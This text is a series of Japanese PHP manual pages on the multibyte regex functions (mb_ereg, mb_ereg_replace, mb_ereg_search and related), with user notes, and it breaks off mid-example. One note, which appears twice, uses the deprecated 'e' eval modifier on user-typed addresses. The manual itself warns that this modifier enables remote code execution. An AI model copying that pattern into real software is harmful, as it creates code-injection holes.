しばしば、 mb_ereg_replace_callback()の callback関数が必要となるのは一度だけである 場合があります。 この場合、 mb_ereg_replace_callback()をコールする際の コールバックに 匿名関数 を使用することができます。 このようにすることで、 コールに関する全ての情報を一つの場所に集約し、 他のどこでも使用されないコールバック関数の名前を 関数の名前空間にばらまかないですみます。

string

チェックされるstring。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

成功した際に置換後の文字列、 そうでない場合はエラー時に false を返します。 string が現在のエンコーディングに照らして不正な場合は、null を返します。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

変更履歴

バージョン | 説明
8.0.0 | options は、nullable になりました。
7.1.0 | この関数は、現在のエンコーディングに照らして string が正しいかをチェックするようになりました。

例

例1 mb_ereg_replace_callback() の例

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// the callback function
function next_year($matches)
{
  // as usual: $matches[0] is the complete match
  // $matches[1] the match for the first subpattern
  // enclosed in '(...)' and so on
  return $matches[1].($matches[2]+1);
}
echo mb_ereg_replace_callback(
            "(\d{2}/\d{2}/)(\d{4})",
            "next_year",
            $text);

?>

上の例の出力は以下となります。

April fools day is 04/01/2003
Last christmas was 12/24/2002

例2 PHP 5.3.0以降でサポートされる匿名関数を使用したmb_ereg_replace_callback()の例

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";

echo mb_ereg_replace_callback(
            "(\d{2}/\d{2}/)(\d{4})",
            function ($matches) {
               return $matches[1].($matches[2]+1);
            },
            $text);
?>

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_replace() - マルチバイト文字列に正規表現による置換を行う
  • 匿名関数

User Contributed Notes

There are no user contributed notes for this page.


マルチバイト文字列に正規表現による置換を行う

  • ≪ mb_ereg_replace_callback
  • mb_ereg_search_getpos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列に正規表現による置換を行う

mb_ereg_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_replace — マルチバイト文字列に正規表現による置換を行う

説明

mb_ereg_replace ( string $pattern , string $replacement , string $string , string|null $options = null ) : string|false|null

string から pattern にマッチする文字列を探し、 見つかった文字列を replacement で置換します。

パラメータ

pattern

正規表現パターン。

マルチバイト文字を pattern で使用することができます。

replacement

置換文字列。

string

調べたい文字列。

options
検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

成功した場合に結果の文字列、エラー時に false を返します。 string が現在のエンコーディングに照らして不正な場合は、null を返します。

変更履歴

バージョン | 説明
8.0.0 | options は、nullable になりました。
7.1.0 | この関数は、現在のエンコーディングに照らして string が正しいかをチェックするようになりました。
7.1.0 | e 修飾子が非推奨になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

警告

信頼できない入力に対しては、 絶対に e 修正子を使用してはいけません。 (preg_replace() と同様、) 自動的なエスケープは行いません。 このことを忘れていると、自分の書いたアプリケーションにリモートコード実行の脆弱性を作りこんでしまうことになります。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_eregi_replace() - マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う

User Contributed Notes

j-fr dot fortier at wanadoo dot fr 07-Feb-2019 04:56
Since PHP 5.4, to make uppercase ou lowercase characters, or rewrite some uris, without to take care about initial encoding, the transliteration is easier (and probably the best way): see http://php.net/manual/fr/transliterator.transliterate.php and http://userguide.icu-project.org/transforms/general

For example (with create) (french text: replace all accuentued -eeaiiuc...- chars with ascii chars):
<?php
$transliterator = Transliterator::create("NFD; [:Nonspacing Mark:] Remove; NFC;");
echo $transliterator->transliterate("Hehe, ca marche !");
?>
// Result: ≪ Hehe, ca marche ! ≫

To rewrite a phrase in URI (with createFromRules):
<?php
$transliterator = Transliterator::createFromRules("::Latin-ASCII; ::Lower; [^[:L:][:N:]]+ > '-';");
echo trim($transliterator->transliterate("Hehe, ca marche !"), '-');
?>
// Result : ≪ hehe-ca-marche ≫
Alexey Khrulev 31-Aug-2017 10:10
If encoding of PHP script differs from encoding of string to be processed by mb_ereg_replace(), then you can't just write pattern in script. Both $pattern and $replacement must be converted to same encoding as string to be processed. In this example script is in UTF-8, file to be processed is in UTF-16LE encoding:

<?php
$file_encoding = 'UTF-16LE';
mb_regex_encoding( $file_encoding );

$pattern     = "aaa";
$replacement = "AAA";
$pattern_encoded     = mb_convert_encoding( $pattern,     $file_encoding, 'UTF-8' );
$replacement_encoded = mb_convert_encoding( $replacement, $file_encoding, 'UTF-8' );

$result = mb_ereg_replace( $pattern_encoded, $replacement_encoded, file_get_contents('UTF-16LE.txt') );
file_put_contents('UTF-16LE-updated.txt', $result);
?>
ms2705335 at gmail dot com 17-Jul-2017 10:10
As trng mentioned before you can use \\n for replacement but NOT \\\\n as mentioned in preg_replace docs. So string definition will be like:
$str = '\\1';
Anonymous 19-Jan-2016 11:23
Pluche's comment should REALLY be added to the documentation, preferably under the "$pattern" param description. It is crucial to using this function.
marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}

Dr. Marco Marsala
Network Solution srl
http://www.realizzazionesitigenova.it
marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}
trng 15-Jun-2011 09:22
You can use \\n for capture group in replacement.
And you can NOT use $n notation (unlike preg_replace function).
Pluche 30-Dec-2010 04:17
Unlike preg_replace, mb_ereg_replace doesn't use separators

Exemple with preg_replace :
<?php $data = preg_replace("/[^A-Za-z0-9\.\-]/","",$data); ?>

Exemple with mb_ereg_replace :
<?php $data = mb_ereg_replace("[^A-Za-z0-9\.\-]","",$data); ?>
daemoneye at gmail dot com 03-Feb-2009 02:53
I got a pretty nasty error while trying to parse table rows(all contents were set to UTF-8) from the database for a dictionary project. The idea was to get all the rows from the first table (that is a table with bulgarian phrase in the first field, and its translation in english, french and german in the next fields). I needed to index all the bulgarian words that are found in the table to make an intelligent search. And that is where my headache started.

First of all, even with mb_strtolower() a lot of cyrillic characters went corrupted (ex: 'т,ъ,у,ф,б,г,з,ж,' etc...). After an hour of different attempts I got such a solution:

<?php

mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

$rows = $db->getRows();

$contents = array();
foreach ($rows as $eachRow)
{
    $cleared = str_replace($commonWords, ' ', mb_strtolower(stripslashes($eachRow['bulgarian']), 'UTF-8' ));
    if (trim($cleared) != '') $contents[] = trim($cleared);
}

$list = array();
foreach ($contents as $eachRow)
{
    $exploded = explode(' ', $eachRow);
    foreach ($exploded as $eachExpl)
    {
        $eachExpl = mb_ereg_replace('[^а-я ]',' ', $eachExpl);
        if (trim($eachExpl) != '')
            if (!in_array($eachExpl, $list, true))    $list[] = trim($eachExpl);
    }
}

?>

To work properly I got to set all the internal encoding settings to UTF-8. Else the default Latin-1 got half my database with missing characters.

I am posting this solution just in case someone has encountered a similar problem. Hope it helps you in case you need something like that.
keizo at gomo dot jp 23-Jul-2008 09:32
<?php
$pattern = "([あ-ん]+)[0-9]+";
$string = mb_ereg_replace($pattern, '「\\1」:\\0', $string);
?>

you can use \\n for capture group in replacement
gmx dot net at ulrich dot mierendorff 01-Jul-2008 07:39
If you want to replace characters like "a" or "o" you can use mb_ereg_replace, but it is very slow. str_replace is much faster and also works with characters like "a" or "o"!

I think this has something to with the fact that str_replace works on byte level and does not care about characters.
I hope that can help.
04-Dec-2006 08:36
'i' option does not work correctly with multibyte characters. The function does not locate/replace the multibyte string if it's different case then specified on multibyte needle which is in different case.
squeegee 01-Nov-2006 07:41
well, if you just calculated the length of the find and replace strings once instead of on every loop, it would likely speed it up a lot.
mpnicholas [@t] gmail (dot) com 09-Jul-2006 03:09
Regarding the mb_str_ireplace() function: I benchmarked it against mb_eregi_replace() for single-character substitution, and it was significantly slower. Despite avoiding the ereg call, I think the while loop ends slowing you down too much for this to be practical.
vondrej(at)gmail(dot)com 26-Feb-2006 03:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

<?php
/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
    mb_regex_encoding($encoding);
    $pattern = array('<', '>', '"', '\'');
    $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
    for ($i=0; $i<sizeof($pattern); $i++) {
        $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
    }
    return $str;
}
?>
faxe at neostrada dot pl 09-Aug-2005 03:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

<?php
function mb_str_ireplace($co, $naCo, $wCzym)
{
    $wCzymM = mb_strtolower($wCzym);
    $coM    = mb_strtolower($co);
    $offset = 0;

        while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset)))
    {
        $offset = $poz + mb_strlen($naCo);
        $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
        $wCzymM = mb_strtolower($wCzym);
    }

    return $wCzym;
}
?>

[thiago - EDITOR NOTE: This function has improvements from d-okumura [aat] fi{dot}kyd[dot]co.jp]


次の正規表現検索を開始する位置を取得する

  • ≪ mb_ereg_replace
  • mb_ereg_search_getregs ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 次の正規表現検索を開始する位置を取得する

mb_ereg_search_getpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getpos — 次の正規表現検索を開始する位置を取得する

説明

mb_ereg_search_getpos ( ) : int

次の正規表現マッチングを開始する位置を返します。

パラメータ

この関数にはパラメータはありません。

返り値

mb_ereg_search_getpos() は、
mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs() で検索を開始する位置を返します。
位置は、文字列の先頭からのバイト数で表した値です。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_setpos() - 次の正規表現検索を開始する位置を設定する

User Contributed Notes

patil16nit at gmail dot com 24-Dec-2015 12:49
The function mb_ereg_search_pos() returns matched byte length, not the position of the search part.


マルチバイト文字列が正規表現に一致する部分があるか調べる

  • ≪ mb_ereg_search_getpos
  • mb_ereg_search_init ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列が正規表現に一致する部分があるか調べる

mb_ereg_search_getregs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getregs — マルチバイト文字列が正規表現に一致する部分があるか調べる

説明

mb_ereg_search_getregs ( ) : array|false

直近のマルチバイト正規表現マッチングの結果を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直前の mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs() で一致した部分文字列を含む 配列を返します。一致する部分があった場合には、一致した部分文字列全体が 最初の要素に、最初の括弧でグループ化された部分が 2 番目の要素に、そして 2 番目の括弧でグループ化された部分が 3 番目の要素にといったようになります。 エラー時には false を返します。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_init() - マルチバイト正規表現検索用の文字列と正規表現を設定する

User Contributed Notes

Marius Ka?em?kaitis 25-Jan-2007 11:48
Get unicode characters from string.

<?php

mb_regex_encoding("UTF-8");
mb_ereg_search_init("12345=????????????????");
mb_ereg_search("=(\w+)");
$match = mb_ereg_search_getregs();

print($match[1]); //????????????????

?>


マルチバイト正規表現検索用の文字列と正規表現を設定する

  • ≪ mb_ereg_search_getregs
  • mb_ereg_search_pos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト正規表現検索用の文字列と正規表現を設定する

mb_ereg_search_init

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_init — マルチバイト正規表現検索用の文字列と正規表現を設定する

説明

mb_ereg_search_init ( string $string , string|null $pattern = null , string|null $options = null ) : bool

mb_ereg_search_init() は、マルチバイト対応の正規
表現検索において検索対象の文字列 string
および正規表現 pattern を設定します。
この設定は、mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs() で使用されます。

パラメータ

string

検索文字列。

pattern

検索パターン。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | pattern と options は、nullable になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_regs() - 指定したマルチバイト文字列が正規表現に一致する部分を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したマルチバイト文字列が正規表現に一致する部分の位置と長さを返す

  • ≪ mb_ereg_search_init
  • mb_ereg_search_regs ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 指定したマルチバイト文字列が正規表現に一致する部分の位置と長さを返す

mb_ereg_search_pos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_pos — 指定したマルチバイト文字列が正規表現に一致する部分の位置と長さを返す

説明

mb_ereg_search_pos ( string|null $pattern = null , string|null $options = null ) : array|false

マルチバイト文字列の中で正規表現に一致した部分の位置と長さを配列で返します。

検索対象の文字列は、mb_ereg_search_init() により設定します。省略した場合は、前回のものが利用されます。

パラメータ

pattern

検索パターン。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

ふたつの要素からなる配列を返します。最初の要素はオフセットをバイト単位で表したもので、 マッチしたのが検索文字列の先頭から何バイト目かを示します。 二番目の要素はマッチした部分の長さをバイト単位で表したものです。

エラーが発生した場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | pattern と options は、nullable になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_init() - マルチバイト正規表現検索用の文字列と正規表現を設定する

User Contributed Notes

There are no user contributed notes for this page.


指定したマルチバイト文字列が正規表現に一致する部分を取得する

  • ≪ mb_ereg_search_pos
  • mb_ereg_search_setpos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 指定したマルチバイト文字列が正規表現に一致する部分を取得する

mb_ereg_search_regs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_regs — 指定したマルチバイト文字列が正規表現に一致する部分を取得する

説明

mb_ereg_search_regs ( string|null $pattern = null , string|null $options = null ) : array|false

マルチバイト正規表現にマッチした部分を返します。

パラメータ

pattern

検索パターン。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

mb_ereg_search_regs() は、マルチバイト文字列の 中に正規表現に一致する部分があるかどうか調べ、一致した場合にはそれを 配列で返します。配列の最初の要素には一致した部分文字列全体、2 番目の 要素は最初の括弧でグループ化された部分、3 番目の要素は2番目の括弧で グループ化された部分といったようになります。 エラー時には false を返します。

変更履歴

バージョン | 説明
8.0.0 | pattern と options は、nullable になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_init() - マルチバイト正規表現検索用の文字列と正規表現を設定する

User Contributed Notes

There are no user contributed notes for this page.


次の正規表現検索を開始する位置を設定する

  • ≪ mb_ereg_search_regs
  • mb_ereg_search ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 次の正規表現検索を開始する位置を設定する

mb_ereg_search_setpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_setpos — 次の正規表現検索を開始する位置を設定する

説明

mb_ereg_search_setpos ( int $offset ) : bool

mb_ereg_search_setpos() は、 mb_ereg_search() で検索を開始する位置を設定します。

パラメータ

offset

設定する位置。負の値を指定すると、文字列の末尾から数えます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | 負の offset をサポートするようになりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_init() - マルチバイト正規表現検索用の文字列と正規表現を設定する

User Contributed Notes

There are no user contributed notes for this page.


指定したマルチバイト文字列が正規表現に一致するか調べる

  • ≪ mb_ereg_search_setpos
  • mb_ereg ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 指定したマルチバイト文字列が正規表現に一致するか調べる

mb_ereg_search

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search — 指定したマルチバイト文字列が正規表現に一致するか調べる

説明

mb_ereg_search ( string|null $pattern = null , string|null $options = null ) : bool

指定したマルチバイト文字列に対するマルチバイト正規表現マッチングを行います。

パラメータ

pattern

検索パターン。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

mb_ereg_search()は、マルチバイト文字列が正規表現に 一致するかどうか調べ、一致する場合にtrue、それ以外の場合に false を返します。検索対象の文字列は、 mb_ereg_search_init() により設定します。 正規表現 pattern を省略した場合は、 前回のものを再利用します。

変更履歴

バージョン | 説明
8.0.0 | pattern と options は、nullable になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_search_init() - マルチバイト正規表現検索用の文字列と正規表現を設定する

User Contributed Notes

dulao5 at gmail dot com 28-Apr-2007 11:11
mb_ereg_search & subpatterns
use loop:
<?php
    $str = "中国abc + abc ?!？！字符＃　china string";

    $reg = "\w+";

    mb_regex_encoding("UTF-8");

    mb_ereg_search_init($str, $reg);
    $r = mb_ereg_search();

    if(!$r)
    {
        echo "null\n";
    }
    else
    {
        $r = mb_ereg_search_getregs(); //get first result
        do
        {
            var_dump($r[0]);
            $r = mb_ereg_search_regs();//get next result
        }
        while($r);
    }
?>


マルチバイト対応の正規表現マッチ

  • ≪ mb_ereg_search
  • mb_eregi_replace ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト対応の正規表現マッチ

mb_ereg

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg — マルチバイト対応の正規表現マッチ

説明

mb_ereg ( string $pattern , string $string , array &$matches = null ) : bool

マルチバイト対応の正規表現マッチを行います。

パラメータ

pattern

検索パターン。

string

検索文字列。

matches

pattern 内のカッコで囲まれた部分文字列にマッチするものが あった場合、第3引数 matches が指定されていると、 配列 matches の要素としてマッチ結果が格納されます。 マッチするものがなかった場合、matches は空の配列となります。

$matches[1] には最初の左括弧で指定された部分文字列が入ります。 $matches[2] には2番目の左括弧で指定された部分文字列が入ります。 以下同様です。 $matches[0] にはマッチした文字列全体のコピーが入ります。

返り値

string 内に pattern にマッチする文字列があるかを返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、成功時に true を返すようになりました。 これより前のバージョンでは、 string 内に pattern にマッチする文字列が存在し、かつ matches が渡された場合、 マッチした文字列のバイト長を返していました。 matches が渡されなかった場合、 あるいはマッチした文字列の長さが 0 だった場合、 この関数は 1 を返していました。
7.1.0 | マッチしなかった場合、mb_ereg() は matches を空の配列とするようになりました。 これより前のバージョンでは matches を変更しませんでした。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_eregi() - マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ

User Contributed Notes

Anonymous 08-Dec-2020 01:28
<?php

# What mb_ereg() returns & changes $_3rd_argument into
# (Just run this script)

function dump2str($var) {
    ob_start();
    var_dump($var);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

# (PHP7)empty pattern returns bool(false) with Warning
# (PHP8)empty pattern throws ValueError
    $emp_ptn = '';
try{
    $emp_ptn.=  dump2str(mb_ereg('', 'abcde'));
}catch(Exception | Error $e){
    $emp_ptn.=  get_class($e).'<br>';
    $emp_ptn.=  $e->getMessage();
    $emp_ptn.=  '<pre>'.$e->getTraceAsString().'</pre>';
}

echo
'PHP '.phpversion().'<br><br>'.

'# match<br>'.
dump2str(mb_ereg("bcd", "abcde")).
' : mb_ereg("bcd", "abcde")<br><br>'.

'# match with 3rd argument<br>'.
dump2str(mb_ereg("bcd", "abcde", $_3rd)).
' : mb_ereg("bcd", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# match (0 byte)<br>'.
dump2str(mb_ereg("^", "abcde")).
' : mb_ereg("^", "abcde")<br><br>'.

'# match (0 byte) with 3rd argument<br>'.
dump2str(mb_ereg("^", "abcde", $_3rd)).
' : mb_ereg("^", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# unmatch<br>'.
dump2str(mb_ereg("f", "abcde")).
' : mb_ereg("f", "abcde")<br><br>'.

'# unmatch with 3rd argument<br>'.
dump2str(mb_ereg("f", "abcde", $_3rd)).
' : mb_ereg("f", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# empty pattern<br>'.
$emp_ptn.
' : mb_ereg("", "abcde")<br><br>'.

'# empty pattern with 3rd argument<br>'.
$emp_ptn.
' : mb_ereg("", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>';

?>
Anonymous 21-Mar-2019 08:24
<?php

// in PHP_VERSION 7.1

// WITHOUT $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_'); // [5 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '_ab_');       // [2 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('^', '_ab_');        // [0 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '__');         // [not match]
var_dump($int);                     // bool(false)

$int = mb_ereg('', '_ab_');         // [error : empty pattern]
                                    // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                     // bool(false)

$int = mb_ereg('ab');               // [error : fewer arguments]
                                    // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                     // bool(false)

                    // Without 3rd argument, mb_ereg() returns either int(1) or bool(false).

// WITH $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_', $regs);// [5 bytes match]
var_dump($int);                           // int(5)
var_dump($regs);                          // array(1) { [0]=> string(5) "abcde" }

$int = mb_ereg('ab', '_ab_', $regs);      // [2 bytes match]
var_dump($int);                           // int(2)
var_dump($regs);                          // array(1) { [0]=> string(2) "ab" }

$int = mb_ereg('^', '_ab_', $regs);       // [0 bytes match]
var_dump($int);                           // int(1)
var_dump($regs);                          // array(1) { [0]=> bool(false) }

$int = mb_ereg('ab', '__', $regs);        // [not match]
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('', '_ab_', $regs);        // [error : empty pattern]
                                          // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('ab');                     // [error : fewer arguments]
                                          // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

                    // With 3rd argument, mb_ereg() returns either int(how many bytes matched) or bool(false)
                    // and 3rd argument is a bit complicated.

?>
lastuser at example dot com 14-Mar-2018 05:32
I hope this information is shown somewhere on php.net.

According to "https://github.com/php/php-src/tree/PHP-5.6/ext/mbstring/oniguruma",
the bundled Oniguruma regex library version seems ...
 4.7.1 between PHP 5.3 - 5.4.45,
 5.9.2 between PHP 5.5 - 7.1.16,
 6.3.0 since PHP 7.2 - .
Anonymous 11-Mar-2017 01:14
Old link to Oniguruma regex syntax is not working anymore, there is a working one:
https://github.com/geoffgarside/oniguruma/blob/master/Syntax.txt
mb_ereg() seems unable to Use &#34;named sub 06-May-2015 01:42
mb_ereg() seems unable to Use "named subpattern".
preg_match() seems a substitute only in UTF-8 encoding.

<?php

$text = 'multi_byte_string';
$pattern = '.*(?<name>string).*';        // "?P" causes "mbregex compile err" in PHP 5.3.5

if(mb_ereg($pattern, $text, $matches)){
    echo '<pre>'.print_r($matches, true).'</pre>';
}else{
    echo 'no match';
}

?>

This code ignores "?<name>" in $pattern and displays below.

Array
(
    [0] => multi_byte_string
    [1] => string
)

$pattern = '/.*(?<name>string).*/u';
if(preg_match($pattern, $text, $matches)){

instead of lines 2 & 3
displays below (in UTF-8 encoding).

Array
(
    [0] => multi_byte_string
    [name] => string
    [1] => string
)
Riikka K 13-Jul-2014 04:23
While hardly mentioned anywhere, it may be useful to note that mb_ereg uses Oniguruma library internally. The syntax for the default mode (ruby) is described here:

http://www.geocities.jp/kosako3/oniguruma/doc/RE.txt
pressler at hotmail dot de 19-Nov-2012 10:50
Note that mb_ereg() does not support the \uFFFF unicode syntax but uses \x{FFFF} instead:

<?PHP

$text = 'Peter is a boy.'; // english
$text = '???? ?? ???.'; // arabic
//$text = '???? ??? ???.'; // hebrew

mb_regex_encoding('UTF-8');

if(mb_ereg('[\x{0600}-\x{06FF}]', $text)) // arabic range
//if(mb_ereg('[\x{0590}-\x{05FF}]', $text)) // hebrew range
{
    echo "Text has some arabic/hebrew characters.";
}
else
{
    echo "Text doesnt have arabic/hebrew characters.";
}

?>
Jon 11-Apr-2009 04:22
Hebrew regex tested on PHP 5, Ubuntu 8.04.
Seems to work fine without the mb_regex_encoding lines (commented out).
Didn't seem to work with \uxxxx (also commented out).

<?php
echo "Line ";
//mb_regex_encoding("ISO-8859-8");
//if(mb_ereg(".*([\u05d0-\u05ea]).*", $this->current_line))
if(mb_ereg(".*([?-?]).*", $this->current_line))
{
    echo "has";
}
else
{
    echo "doesn't have";
}
echo " Hebrew characters.<br>";
//mb_regex_encoding("UTF-8");
?>


マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う

  • ≪ mb_ereg
  • mb_eregi ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う

mb_eregi_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi_replace — マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う

説明

mb_eregi_replace ( string $pattern , string $replacement , string $string , string|null $options = null ) : string|false|null

string において、 正規表現 pattern にマッチする文字列を replacement に置換します。

パラメータ

pattern

正規表現パターン。マルチバイト文字を使用できます。 大文字小文字は区別しません。

replacement

置換する文字列。

string

検索対象となる文字列。

options
検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

結果の文字列、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | options は、nullable になりました。
7.1.0 | この関数は、現在のエンコーディングに照らして string が正しいかをチェックするようになりました。
7.1.0 | e 修飾子が非推奨になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

警告

信頼できない入力に対しては、 絶対に e 修正子を使用してはいけません。 (preg_replace() と同様、) 自動的なエスケープは行いません。 このことを忘れていると、自分の書いたアプリケーションにリモートコード実行の脆弱性を作りこんでしまうことになります。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg_replace() - マルチバイト文字列に正規表現による置換を行う

User Contributed Notes

kirilatpillaxdotcom 02-Aug-2012 09:52
To highlight words in multi-byte text:

<?php
$s = 'Алабала';
$f = 'а';
